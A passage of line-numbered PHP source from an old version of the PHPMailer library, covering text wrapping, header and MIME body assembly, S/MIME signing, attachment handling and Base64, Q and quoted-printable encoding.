  1979. $line_part = explode(' ', $line[$i]);
  1980. $buf = '';
  1981. for ($e = 0; $e<count($line_part); $e++) {
  1982. $word = $line_part[$e];
  1983. if ($qp_mode and (strlen($word) > $length)) {
  1984. $space_left = $length - strlen($buf) - 1;
  1985. if ($e != 0) {
  1986. if ($space_left > 20) {
  1987. $len = $space_left;
  1988. if ($is_utf8) {
  1989. $len = $this->UTF8CharBoundary($word, $len);
  1990. } elseif (substr($word, $len - 1, 1) == "=") {
  1991. $len--;
  1992. } elseif (substr($word, $len - 2, 1) == "=") {
  1993. $len -= 2;
  1994. }
  1995. $part = substr($word, 0, $len);
  1996. $word = substr($word, $len);
  1997. $buf .= ' ' . $part;
  1998. $message .= $buf . sprintf("=%s", $this->LE);
  1999. } else {
  2000. $message .= $buf . $soft_break;
  2001. }
  2002. $buf = '';
  2003. }
  2004. while (strlen($word) > 0) {
  2005. $len = $length;
  2006. if ($is_utf8) {
  2007. $len = $this->UTF8CharBoundary($word, $len);
  2008. } elseif (substr($word, $len - 1, 1) == "=") {
  2009. $len--;
  2010. } elseif (substr($word, $len - 2, 1) == "=") {
  2011. $len -= 2;
  2012. }
  2013. $part = substr($word, 0, $len);
  2014. $word = substr($word, $len);
  2015.  
  2016. if (strlen($word) > 0) {
  2017. $message .= $part . sprintf("=%s", $this->LE);
  2018. } else {
  2019. $buf = $part;
  2020. }
  2021. }
  2022. } else {
  2023. $buf_o = $buf;
  2024. $buf .= ($e == 0) ? $word : (' ' . $word);
  2025.  
  2026. if (strlen($buf) > $length and $buf_o != '') {
  2027. $message .= $buf_o . $soft_break;
  2028. $buf = $word;
  2029. }
  2030. }
  2031. }
  2032. $message .= $buf . $this->LE;
  2033. }
  2034.  
  2035. return $message;
  2036. }
  2037.  
  2038. /**
  2039. * Finds last character boundary prior to maxLength in a utf-8
  2040. * quoted (printable) encoded string.
  2041. * Original written by Colin Brown.
  2042. * @access private
  2043. * @param string $encodedText utf-8 QP text
  2044. * @param int $maxLength find last character boundary prior to this length
  2045. * @return int
  2046. */
  2047. function UTF8CharBoundary($encodedText, $maxLength) {
  2048. $foundSplitPos = false;
  2049. $lookBack = 3;
  2050. while (!$foundSplitPos) {
  2051. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2052. $encodedCharPos = strpos($lastChunk, "=");
  2053. if ($encodedCharPos !== false) {
  2054. // Found start of encoded character byte within $lookBack block.
  2055. // Check the encoded byte value (the 2 chars after the '=')
  2056. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2057. $dec = hexdec($hex);
  2058. if ($dec < 128) { // Single byte character.
  2059. // If the encoded char was found at pos 0, it will fit
  2060. // otherwise reduce maxLength to start of the encoded char
  2061. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2062. $maxLength - ($lookBack - $encodedCharPos);
  2063. $foundSplitPos = true;
  2064. } elseif ($dec >= 192) { // First byte of a multi byte character
  2065. // Reduce maxLength to split at start of character
  2066. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2067. $foundSplitPos = true;
  2068. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2069. $lookBack += 3;
  2070. }
  2071. } else {
  2072. // No encoded character found
  2073. $foundSplitPos = true;
  2074. }
  2075. }
  2076. return $maxLength;
  2077. }
  2078.  
  2079. /**
  2080. * Set the body wrapping.
  2081. * @access private
  2082. * @return void
  2083. */
  2084. function SetWordWrap() {
  2085. if($this->WordWrap < 1) {
  2086. return;
  2087. }
  2088.  
  2089. switch($this->message_type) {
  2090. case 'alt':
  2091. /* fall through */
  2092. case 'alt_attachments':
  2093. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2094. break;
  2095. default:
  2096. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2097. break;
  2098. }
  2099. }
  2100.  
  2101. /**
  2102. * Assembles message header.
  2103. * @access private
  2104. * @return string
  2105. */
  2106. function CreateHeader() {
  2107. $result = '';
  2108.  
  2109. /* Set the boundaries */
  2110. $uniq_id = md5(uniqid(time()));
  2111. $this->boundary[1] = 'b1_' . $uniq_id;
  2112. $this->boundary[2] = 'b2_' . $uniq_id;
  2113.  
  2114. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2115. if($this->Sender == '') {
  2116. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2117. } else {
  2118. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2119. }
  2120.  
  2121. /* To be created automatically by mail() */
  2122. if($this->Mailer != 'mail') {
  2123. if(count($this->to) > 0) {
  2124. $result .= $this->AddrAppend('To', $this->to);
  2125. } elseif (count($this->cc) == 0) {
  2126. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2127. }
  2128. if(count($this->cc) > 0) {
  2129. $result .= $this->AddrAppend('Cc', $this->cc);
  2130. }
  2131. }
  2132.  
  2133. $from = array();
  2134. $from[0][0] = trim($this->From);
  2135. $from[0][1] = $this->FromName;
  2136. $result .= $this->AddrAppend('From', $from);
  2137.  
  2138. /* sendmail and mail() extract Cc from the header before sending */
  2139. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2140. $result .= $this->AddrAppend('Cc', $this->cc);
  2141. }
  2142.  
  2143. /* sendmail and mail() extract Bcc from the header before sending */
  2144. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2145. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2146. }
  2147.  
  2148. if(count($this->ReplyTo) > 0) {
  2149. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2150. }
  2151.  
  2152. /* mail() sets the subject itself */
  2153. if($this->Mailer != 'mail') {
  2154. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2155. }
  2156.  
  2157. if($this->MessageID != '') {
  2158. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2159. } else {
  2160. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2161. }
  2162. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2163. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2164.  
  2165. if($this->ConfirmReadingTo != '') {
  2166. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2167. }
  2168.  
  2169. // Add custom headers
  2170. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2171. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2172. }
  2173. if (!$this->sign_key_file) {
  2174. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2175. $result .= $this->GetMailMIME();
  2176. }
  2177.  
  2178. return $result;
  2179. }
  2180.  
  2181. /**
  2182. * Returns the message MIME.
  2183. * @access private
  2184. * @return string
  2185. */
  2186. function GetMailMIME() {
  2187. $result = '';
  2188. switch($this->message_type) {
  2189. case 'plain':
  2190. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2191. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2192. break;
  2193. case 'attachments':
  2194. /* fall through */
  2195. case 'alt_attachments':
  2196. if($this->InlineImageExists()){
  2197. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2198. } else {
  2199. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2200. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2201. }
  2202. break;
  2203. case 'alt':
  2204. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2205. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2206. break;
  2207. }
  2208.  
  2209. if($this->Mailer != 'mail') {
  2210. $result .= $this->LE.$this->LE;
  2211. }
  2212.  
  2213. return $result;
  2214. }
  2215.  
  2216. /**
  2217. * Assembles the message body. Returns an empty string on failure.
  2218. * @access private
  2219. * @return string
  2220. */
  2221. function CreateBody() {
  2222. $result = '';
  2223. if ($this->sign_key_file) {
  2224. $result .= $this->GetMailMIME();
  2225. }
  2226.  
  2227. $this->SetWordWrap();
  2228.  
  2229. switch($this->message_type) {
  2230. case 'alt':
  2231. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2232. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2233. $result .= $this->LE.$this->LE;
  2234. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2235. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2236. $result .= $this->LE.$this->LE;
  2237. $result .= $this->EndBoundary($this->boundary[1]);
  2238. break;
  2239. case 'plain':
  2240. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2241. break;
  2242. case 'attachments':
  2243. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2244. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2245. $result .= $this->LE;
  2246. $result .= $this->AttachAll();
  2247. break;
  2248. case 'alt_attachments':
  2249. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2250. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2251. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2252. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2253. $result .= $this->LE.$this->LE;
  2254. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2255. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2256. $result .= $this->LE.$this->LE;
  2257. $result .= $this->EndBoundary($this->boundary[2]);
  2258. $result .= $this->AttachAll();
  2259. break;
  2260. }
  2261.  
  2262. if($this->IsError()) {
  2263. $result = '';
  2264. } else if ($this->sign_key_file) {
  2265. $file = tempnam("", "mail");
  2266. $fp = fopen($file, "w");
  2267. fwrite($fp, $result);
  2268. fclose($fp);
  2269. $signed = tempnam("", "signed");
  2270.  
  2271. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2272. $fp = fopen($signed, "r");
  2273. $result = fread($fp, filesize($this->sign_key_file));
  2274. fclose($fp);
  2275. } else {
  2276. $this->SetError($this->Lang("signing").openssl_error_string());
  2277. $result = '';
  2278. }
  2279.  
  2280. unlink($file);
  2281. unlink($signed);
  2282. }
  2283.  
  2284. return $result;
  2285. }
  2286.  
  2287. /**
  2288. * Returns the start of a message boundary.
  2289. * @access private
  2290. */
  2291. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2292. $result = '';
  2293. if($charSet == '') {
  2294. $charSet = $this->CharSet;
  2295. }
  2296. if($contentType == '') {
  2297. $contentType = $this->ContentType;
  2298. }
  2299. if($encoding == '') {
  2300. $encoding = $this->Encoding;
  2301. }
  2302. $result .= $this->TextLine('--' . $boundary);
  2303. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2304. $result .= $this->LE;
  2305. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2306. $result .= $this->LE;
  2307.  
  2308. return $result;
  2309. }
  2310.  
  2311. /**
  2312. * Returns the end of a message boundary.
  2313. * @access private
  2314. */
  2315. function EndBoundary($boundary) {
  2316. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2317. }
  2318.  
  2319. /**
  2320. * Sets the message type.
  2321. * @access private
  2322. * @return void
  2323. */
  2324. function SetMessageType() {
  2325. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2326. $this->message_type = 'plain';
  2327. } else {
  2328. if(count($this->attachment) > 0) {
  2329. $this->message_type = 'attachments';
  2330. }
  2331. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2332. $this->message_type = 'alt';
  2333. }
  2334. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2335. $this->message_type = 'alt_attachments';
  2336. }
  2337. }
  2338. }
  2339.  
  2340. /* Returns a formatted header line.
  2341. * @access private
  2342. * @return string
  2343. */
  2344. function HeaderLine($name, $value) {
  2345. return $name . ': ' . $value . $this->LE;
  2346. }
  2347.  
  2348. /**
  2349. * Returns a formatted mail line.
  2350. * @access private
  2351. * @return string
  2352. */
  2353. function TextLine($value) {
  2354. return $value . $this->LE;
  2355. }
  2356.  
  2357. /////////////////////////////////////////////////
  2358. // CLASS METHODS, ATTACHMENTS
  2359. /////////////////////////////////////////////////
  2360.  
  2361. /**
  2362. * Adds an attachment from a path on the filesystem.
  2363. * Returns false if the file could not be found
  2364. * or accessed.
  2365. * @param string $path Path to the attachment.
  2366. * @param string $name Overrides the attachment name.
  2367. * @param string $encoding File encoding (see $Encoding).
  2368. * @param string $type File extension (MIME) type.
  2369. * @return bool
  2370. */
  2371. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2372. if(!@is_file($path)) {
  2373. $this->SetError($this->Lang('file_access') . $path);
  2374. return false;
  2375. }
  2376.  
  2377. $filename = basename($path);
  2378. if($name == '') {
  2379. $name = $filename;
  2380. }
  2381.  
  2382. $cur = count($this->attachment);
  2383. $this->attachment[$cur][0] = $path;
  2384. $this->attachment[$cur][1] = $filename;
  2385. $this->attachment[$cur][2] = $name;
  2386. $this->attachment[$cur][3] = $encoding;
  2387. $this->attachment[$cur][4] = $type;
  2388. $this->attachment[$cur][5] = false; // isStringAttachment
  2389. $this->attachment[$cur][6] = 'attachment';
  2390. $this->attachment[$cur][7] = 0;
  2391.  
  2392. return true;
  2393. }
  2394.  
  2395. /**
  2396. * Attaches all fs, string, and binary attachments to the message.
  2397. * Returns an empty string on failure.
  2398. * @access private
  2399. * @return string
  2400. */
  2401. function AttachAll() {
  2402. /* Return text of body */
  2403. $mime = array();
  2404.  
  2405. /* Add all attachments */
  2406. for($i = 0; $i < count($this->attachment); $i++) {
  2407. /* Check for string attachment */
  2408. $bString = $this->attachment[$i][5];
  2409. if ($bString) {
  2410. $string = $this->attachment[$i][0];
  2411. } else {
  2412. $path = $this->attachment[$i][0];
  2413. }
  2414.  
  2415. $filename = $this->attachment[$i][1];
  2416. $name = $this->attachment[$i][2];
  2417. $encoding = $this->attachment[$i][3];
  2418. $type = $this->attachment[$i][4];
  2419. $disposition = $this->attachment[$i][6];
  2420. $cid = $this->attachment[$i][7];
  2421.  
  2422. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2423. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2424. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2425.  
  2426. if($disposition == 'inline') {
  2427. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2428. }
  2429.  
  2430. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2431.  
  2432. /* Encode as string attachment */
  2433. if($bString) {
  2434. $mime[] = $this->EncodeString($string, $encoding);
  2435. if($this->IsError()) {
  2436. return '';
  2437. }
  2438. $mime[] = $this->LE.$this->LE;
  2439. } else {
  2440. $mime[] = $this->EncodeFile($path, $encoding);
  2441. if($this->IsError()) {
  2442. return '';
  2443. }
  2444. $mime[] = $this->LE.$this->LE;
  2445. }
  2446. }
  2447.  
  2448. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2449.  
  2450. return join('', $mime);
  2451. }
  2452.  
  2453. /**
  2454. * Encodes attachment in requested format. Returns an
  2455. * empty string on failure.
  2456. * @access private
  2457. * @return string
  2458. */
  2459. function EncodeFile ($path, $encoding = 'base64') {
  2460. if(!@$fd = fopen($path, 'rb')) {
  2461. $this->SetError($this->Lang('file_open') . $path);
  2462. return '';
  2463. }
  2464. $magic_quotes = get_magic_quotes_runtime();
  2465. set_magic_quotes_runtime(0);
  2466. $file_buffer = fread($fd, filesize($path));
  2467. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2468. fclose($fd);
  2469. set_magic_quotes_runtime($magic_quotes);
  2470.  
  2471. return $file_buffer;
  2472. }
  2473.  
  2474. /**
  2475. * Encodes string to requested format. Returns an
  2476. * empty string on failure.
  2477. * @access private
  2478. * @return string
  2479. */
  2480. function EncodeString ($str, $encoding = 'base64') {
  2481. $encoded = '';
  2482. switch(strtolower($encoding)) {
  2483. case 'base64':
  2484. /* chunk_split is found in PHP >= 3.0.6 */
  2485. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2486. break;
  2487. case '7bit':
  2488. case '8bit':
  2489. $encoded = $this->FixEOL($str);
  2490. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2491. $encoded .= $this->LE;
  2492. break;
  2493. case 'binary':
  2494. $encoded = $str;
  2495. break;
  2496. case 'quoted-printable':
  2497. $encoded = $this->EncodeQP($str);
  2498. break;
  2499. default:
  2500. $this->SetError($this->Lang('encoding') . $encoding);
  2501. break;
  2502. }
  2503. return $encoded;
  2504. }
  2505.  
  2506. /**
  2507. * Encode a header string to best of Q, B, quoted or none.
  2508. * @access private
  2509. * @return string
  2510. */
  2511. function EncodeHeader ($str, $position = 'text') {
  2512. $x = 0;
  2513.  
  2514. switch (strtolower($position)) {
  2515. case 'phrase':
  2516. if (!preg_match('/[\200-\377]/', $str)) {
  2517. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2518. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2519. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2520. return ($encoded);
  2521. } else {
  2522. return ("\"$encoded\"");
  2523. }
  2524. }
  2525. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2526. break;
  2527. case 'comment':
  2528. $x = preg_match_all('/[()"]/', $str, $matches);
  2529. /* Fall-through */
  2530. case 'text':
  2531. default:
  2532. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2533. break;
  2534. }
  2535.  
  2536. if ($x == 0) {
  2537. return ($str);
  2538. }
  2539.  
  2540. $maxlen = 75 - 7 - strlen($this->CharSet);
  2541. /* Try to select the encoding which should produce the shortest output */
  2542. if (strlen($str)/3 < $x) {
  2543. $encoding = 'B';
  2544. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2545. // Use a custom function which correctly encodes and wraps long
  2546. // multibyte strings without breaking lines within a character
  2547. $encoded = $this->Base64EncodeWrapMB($str);
  2548. } else {
  2549. $encoded = base64_encode($str);
  2550. $maxlen -= $maxlen % 4;
  2551. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2552. }
  2553. } else {
  2554. $encoding = 'Q';
  2555. $encoded = $this->EncodeQ($str, $position);
  2556. $encoded = $this->WrapText($encoded, $maxlen, true);
  2557. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2558. }
  2559.  
  2560. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2561. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2562.  
  2563. return $encoded;
  2564. }
  2565.  
  2566. /**
  2567. * Checks if a string contains multibyte characters.
  2568. * @access private
  2569. * @param string $str multi-byte text to wrap encode
  2570. * @return bool
  2571. */
  2572. function HasMultiBytes($str) {
  2573. if (function_exists('mb_strlen')) {
  2574. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2575. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2576. return False;
  2577. }
  2578. }
  2579.  
  2580. /**
  2581. * Correctly encodes and wraps long multibyte strings for mail headers
  2582. * without breaking lines within a character.
  2583. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2584. * @access private
  2585. * @param string $str multi-byte text to wrap encode
  2586. * @return string
  2587. */
  2588. function Base64EncodeWrapMB($str) {
  2589. $start = "=?".$this->CharSet."?B?";
  2590. $end = "?=";
  2591. $encoded = "";
  2592.  
  2593. $mb_length = mb_strlen($str, $this->CharSet);
  2594. // Each line must have length <= 75, including $start and $end
  2595. $length = 75 - strlen($start) - strlen($end);
  2596. // Average multi-byte ratio
  2597. $ratio = $mb_length / strlen($str);
  2598. // Base64 has a 4:3 ratio
  2599. $offset = $avgLength = floor($length * $ratio * .75);
  2600.  
  2601. for ($i = 0; $i < $mb_length; $i += $offset) {
  2602. $lookBack = 0;
  2603.  
  2604. do {
  2605. $offset = $avgLength - $lookBack;
  2606. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2607. $chunk = base64_encode($chunk);
  2608. $lookBack++;
  2609. }
  2610. while (strlen($chunk) > $length);
  2611.  
  2612. $encoded .= $chunk . $this->LE;
  2613. }
  2614.  
  2615. // Chomp the last linefeed
  2616. $encoded = substr($encoded, 0, -strlen($this->LE));
  2617. return $encoded;
  2618. }
  2619.  
  2620. /**
  2621. * Encode string to quoted-printable.
  2622. * @access private
  2623. * @return string
  2624. */
  2625. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2626. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2627. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2628. $eol = "\r\n";
  2629. $escape = '=';
  2630. $output = '';
  2631. while( list(, $line) = each($lines) ) {
  2632. $linlen = strlen($line);
  2633. $newline = '';
  2634. for($i = 0; $i < $linlen; $i++) {
  2635. $c = substr( $line, $i, 1 );
  2636. $dec = ord( $c );
  2637. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2638. $c = '=2E';
  2639. }
  2640. if ( $dec == 32 ) {
  2641. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2642. $c = '=20';
  2643. } else if ( $space_conv ) {
  2644. $c = '=20';
  2645. }
  2646. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2647. $h2 = floor($dec/16);
  2648. $h1 = floor($dec%16);
  2649. $c = $escape.$hex[$h2].$hex[$h1];
  2650. }
  2651. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2652. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2653. $newline = '';
  2654. // check if newline first character will be point or not
  2655. if ( $dec == 46 ) {
  2656. $c = '=2E';
  2657. }
  2658. }
  2659. $newline .= $c;
  2660. } // end of for
  2661. $output .= $newline.$eol;
  2662. } // end of while
  2663. return trim($output);
  2664. }
  2665.  
  2666. /**
  2667. * Encode string to q encoding.
  2668. * @access private
  2669. * @return string
  2670. */
  2671. function EncodeQ ($str, $position = 'text') {
  2672. /* There should not be any EOL in the string */
  2673. $encoded = preg_replace("[\r\n]", '', $str);
  2674.  
  2675. switch (strtolower($position)) {
  2676. case 'phrase':
  2677. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2678. break;
  2679. case 'comment':
  2680. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2681. case 'text':
  2682. default:
  2683. /* Replace every high ascii, control =, ? and _ characters */
  2684. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2685. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2686. break;
  2687. }
  2688.  
  2689. /* Replace every spaces to _ (more readable than =20) */
  2690. $encoded = str_replace(' ', '_', $encoded);
  2691.  
  2692. return $encoded;
  2693. }
  2694.  
  2695. /**
  2696. * Adds a string or binary attachment (non-filesystem) to the list.
  2697. * This method can be used to attach ascii or binary data,
  2698. * such as a BLOB record from a database.
  2699. * @param string $string String attachment data.
  2700. * @param string $filename Name of the attachment.
  2701. * @param string $encoding File encoding (see $Encoding).
  2702. * @param string $type File extension (MIME) type.
  2703. * @return void
  2704. */
  2705. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2706. /* Append to $attachment array */
  2707. $cur = count($this->attachment);
  2708. $this->attachment[$cur][0] = $string;
  2709. $this->attachment[$cur][1] = $filename;
  2710. $this->attachment[$cur][2] = $filename;
  2711. $this->attachment[$cur][3] = $encoding;
  2712. $this->attachment[$cur][4] = $type;
  2713. $this->attachment[$cur][5] = true; // isString
  2714. $this->attachment[$cur][6] = 'attachment';
  2715. $this->attachment[$cur][7] = 0;
  2716. }
  2717.  
  2718. /**
  2719. * Adds an embedded attachment. This can include images, sounds, and
  2720. * just about any other document. Make sure to set the $type to an
  2721. * image type. For JPEG images use "image/jpeg" and for GIF images
  2722. * use "image/gif".
  2723. * @param string $path Path to the attachment.
  2724. * @param string $cid Content ID of the attachment. Use this to identify
  2725. * the Id for accessing the image in an HTML form.
  2726. * @param string $name Overrides the attachment name.
  2727. * @param string $encoding File encoding (see $Encoding).
  2728. * @param string $type File extension (MIME) type.
  2729. * @return bool
  2730. */
  2731. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2732.  
  2733. if(!@is_file($path)) {
  2734. $this->SetError($this->Lang('file_access') . $path);
  2735. return false;
  2736. }
  2737.  
  2738. $filename = basename($path);
  2739. if($name == '') {
  2740. $name = $filename;
  2741. }
  2742.  
  2743. /* Append to $attachment array */
  2744. $cur = count($this->attachment);
  2745. $this->attachment[$cur][0] = $path;
  2746. $this->attachment[$cur][1] = $filename;
  2747. $this->attachment[$cur][2] = $name;
  2748. $this->attachment[$cur][3] = $encoding;
  2749. $this->attachment[$cur][4] = $type;
  2750. $this->attachment[$cur][5] = false;
  2751. $this->attachment[$cur][6] = 'inline';
  2752. $this->attachment[$cur][7] = $cid;
  2753.  
  2754. return true;
  2755. }
  2756.  
  2757. /**
  2758. * Returns true if an inline attachment is present.
  2759. * @access private
  2760. * @return bool
  2761. */
  2762. function InlineImageExists() {
  2763. $result = false;
  2764. for($i = 0; $i < count($this->attachment); $i++) {
  2765. if($this->attachment[$i][6] == 'inline') {
  2766. $result = true;
  2767. break;
  2768. }
  2769. }
  2770.  
  2771. return $result;
  2772. }
  2773.  
  2774. /////////////////////////////////////////////////
  2775. // CLASS METHODS, MESSAGE RESET
  2776. /////////////////////////////////////////////////
  2777.  
  2778. /**
  2779. * Clears all recipients assigned in the TO array. Returns void.
  2780. * @return void
  2781. */
  2782. function ClearAddresses() {
  2783. $this->to = array();
  2784. }
  2785.  
  2786. /**
  2787. * Clears all recipients assigned in the CC array. Returns void.
  2788. * @return void
  2789. */
  2790. function ClearCCs() {
  2791. $this->cc = array();
  2792. }
  2793.  
  2794. /**
  2795. * Clears all recipients assigned in the BCC array. Returns void.
  2796. * @return void
  2797. */
  2798. function ClearBCCs() {
  2799. $this->bcc = array();
  2800. }
  2801.  
  2802. /**
  2803. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2804. * @return void
  2805. */
  2806. function ClearReplyTos() {
  2807. $this->ReplyTo = array();
  2808. }
  2809.  
  2810. /**
  2811. * Clears all recipients assigned in the TO, CC and BCC
  2812. * array. Returns void.
  2813. * @return void
  2814. */
  2815. function ClearAllRecipients() {
  2816. $this->to = array();
  2817. $this->cc = array();
  2818. $this->bcc = array();
  2819. }
  2820.  
  2821. /**
  2822. * Clears all previously set filesystem, string, and binary
  2823. * attachments. Returns void.
  2824. * @return void
  2825. */
  2826. function ClearAttachments() {
  2827. $this->attachment = array();
  2828. }
  2829.  
  2830. /**
  2831. * Clears all custom headers. Returns void.
  2832. * @return void
  2833. */
  2834. function ClearCustomHeaders() {
  2835. $this->CustomHeader = array();
  2836. }
  2837.  
  2838. /////////////////////////////////////////////////
  2839. // CLASS METHODS, MISCELLANEOUS
  2840. /////////////////////////////////////////////////
  2841.  
  2842. /**
  2843. * Adds the error message to the error container.
  2844. * Returns void.
  2845. * @access private
  2846. * @return void
  2847. */
  2848. function SetError($msg) {
  2849. $this->error_count++;
  2850. $this->ErrorInfo = $msg;
  2851. }
  2852.  
  2853. /**
  2854. * Returns the proper RFC 822 formatted date.
  2855. * @access private
  2856. * @return string
  2857. */
  2858. function RFCDate() {
  2859. $tz = date('Z');
  2860. $tzs = ($tz < 0) ? '-' : '+';
  2861. $tz = abs($tz);
  2862. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2863. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2864.  
  2865. return $result;
  2866. }
  2867.  
  2868. /**
  2869. * Returns the appropriate server variable. Should work with both
  2870. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2871. * if nothing is found.
  2872. * @access private
  2873. * @return mixed
  2874. */
  2875. function ServerVar($varName) {
  2876. global $HTTP_SERVER_VARS;
  2877. global $HTTP_ENV_VARS;
  2878.  
  2879. if(!isset($_SERVER)) {
  2880. $_SERVER = $HTTP_SERVER_VARS;
  2881. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2882. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2883. }
  2884. }
  2885.  
  2886. if(isset($_SERVER[$varName])) {
  2887. return $_SERVER[$varName];
  2888. } else {
  2889. return '';
  2890. }
  2891. }
  2892.  
  2893. /**
  2894. * Returns the server hostname or 'localhost.localdomain' if unknown.
  2895. * @access private
  2896. * @return string
  2897. */
  2898. function ServerHostname() {
  2899. if ($this->Hostname != '') {
  2900. $result = $this->Hostname;
  2901. } elseif ($this->ServerVar('SERVER_NAME') != '') {
